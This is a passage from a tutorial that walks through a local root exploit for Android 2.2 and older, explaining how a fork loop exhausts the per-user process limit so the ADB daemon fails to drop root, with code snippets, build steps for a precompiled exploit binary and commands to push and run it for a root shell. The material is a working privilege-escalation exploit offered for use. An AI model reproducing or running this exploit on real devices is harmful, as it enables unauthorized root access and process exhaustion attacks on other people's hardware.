The code above represents an infinite loop. It forks calling process and exits from a child. That is enough because PID, allocated for current user, remains active until the parent process exits. The loop works until the fork function returns negative value. It means that we have reached the NPROC limit. Let’s look at the next code piece. The PID is negative, but we have to remember that there is one more shell user process that will be terminated soon. This process is the ADB daemon that is still running. We couldn’t kill it on start because the init process would start it again and it is an advantage for us. So, as soon as we reach that condition, we read the ADB daemon PID and check if its user id is AID_SHELL or AID_ROOT (because we could reach the condition from the second or third iteration).If it is AID_SHELL, the program just sends SIGKILL to it and continues the loop (soon, we will reach it again). Once the daemon is killed, one more PID for this user is freed. We have to allocate this PID for the AID_SHELL user as soon as possible to prevent the daemon setting its user id as AID_SHELL. Ideally, there will be two additional loops: the first one forks and allocates a new PID for the AID_SHELL user and, as the result, the second one reaches the limit again, checks the daemon PID that should be AID_ROOT and exits. However, because of lack of resources or lots of delays, there could be rather more iterations.
...
Code:
else if( pid < 0 )
{
printf( "limit reached. kill adbd and wait for its root ...\n" );
adbdPid = get_pid( g_adbd_name );
if( adbdPid >=0 )
{
if( get_pid_user( adbdPid ) != 0 )
{
kill( adbdPid, SIGKILL );
}
else
{
break;
}
}
...
To prevent the exploit infinite loop in case if it is impossible to start the ADB daemon as root, there is a respawn guard for each forked child. Ten iterations and one second timeout have been chosen empirically when I was working with several devices and I found that some devices had a too big NPROC limit. It is obvious. They enquire too much processor resources to handle all created child processes. So, you may change the guard to fit your requirements or device.
...
Code:
else
{
static int theRespounGuard( 10 );
if( --theRespounGuard )
{
sleep( 1 );
}
else
{
break;
}
}
...
Configuration & Build
The exploit was configured to be built with the NDK toolset both on Linux, and on the Windows platform. If you are working on Linux, it will be enough for you to download NDK only; however, on the Windows platform, you have to download and install the Cygwin environment on your machine. In this paragraph, I will tell you how to configure and build the exploit on the Windows platform.
First of all, download and install the Android SDK. We need only a platform-tools package from the SDK to communicate with a device through ADB, so, at the SDK root directory, start the SDK Manager and check the platform-tools package. Install it.
You can add a path to platform-tools into your PATH variable or type the absolute path to the adb.exe executable any time later.
The second step is to download and install the Android NDK package and the Cygwin environment. Install them in the same location with SDK and add a path to your NDK package into the PATH variable or into your Cygwin .bash_profile. Then unpack a project archive attached to this article into your working directory available for Cygwin.
The project structure is very simple. In the AndroidExploit root, you will find two directories. In the bin directory, I have placed a precompiled exploit binary and a windows shell script file. The jni directory contains sources and the NDK build scripts.
Code:
/AndroidExploit
/bin
exploit // precompiled binary file
root.cmd // windows shell script. It helps to upload and run
// the exploit in device. Usualy it is enough run
// the script to root device.
/jni
Android.mk // NDK build script
Application.mk // some application settings
// the source files
cmdLine.cpp
cmdLine.h
impl.cpp
impl.h
main.cpp
proc.cpp
proc.h
To build the project, run the Cygwin environment, change a directory to the project/jni directory, and execute ndk-build. The Compiler output should look like this:
You can find an executable at libs/armeabi/exploit. The path is relative to the root of the project.
Running
The next paragraph describes how to use the binary file. You download the Android SDK, install platform-tools and make them available from the PATH variable. At first, enable the USB Debugging on your device. For this, from the main screen, go to Settings -> Applications -> Development and check the USB Debugging option, then connect your device to the PC and check that it has been detected by Windows Device Manager. Otherwise, install the Android USB drivers for your device from the manufacturer site.
Type the adb devices command in the command line. It will show you devices connected to your PC. If there are no devices connected, check that Windows Device Manager and Android USB drivers are installed.
We are on the right way! Let’s go to the device. Type the adb shell command, which will start the device shell, and then check your id to see who you are.
As it was expected, you are a shell user that has no privileges, no access, nothing … The only things you can do are installing programs and listing some directories. In other words, you can perform only permitted actions. I was very surprised when I couldn’t read /data/data directory, it was impossible for me to list it and see what programs were installed on my device.
Break the law. Go to the exploit bin directory and type adb push exploit /data/local/tmp. This command will upload the exploit in the device temporary directory available for the user. Then, type adb shell and change the directory to /data/local/tmp. The ls –l command will show you its content and permissions on recently uploaded files. Make the file executable by executing chmod exploit 776 and run it by ./exploit root.
The output shows NPROC and ADB daemon PID. Then, as soon as RLIMIT is reached, the shell will be disconnected. Wait for ~5 seconds and type adb shell again. As a result, you should see root # shell. Type id to make sure you are a root.
Yes, you are! Now, you can do anything even… let me think … even damage your device! So, all things you will do next are at your risk. Be careful!
One more, I want to add. The exploit works only on Android devices with versions 2.2 and older.

Categories

Resources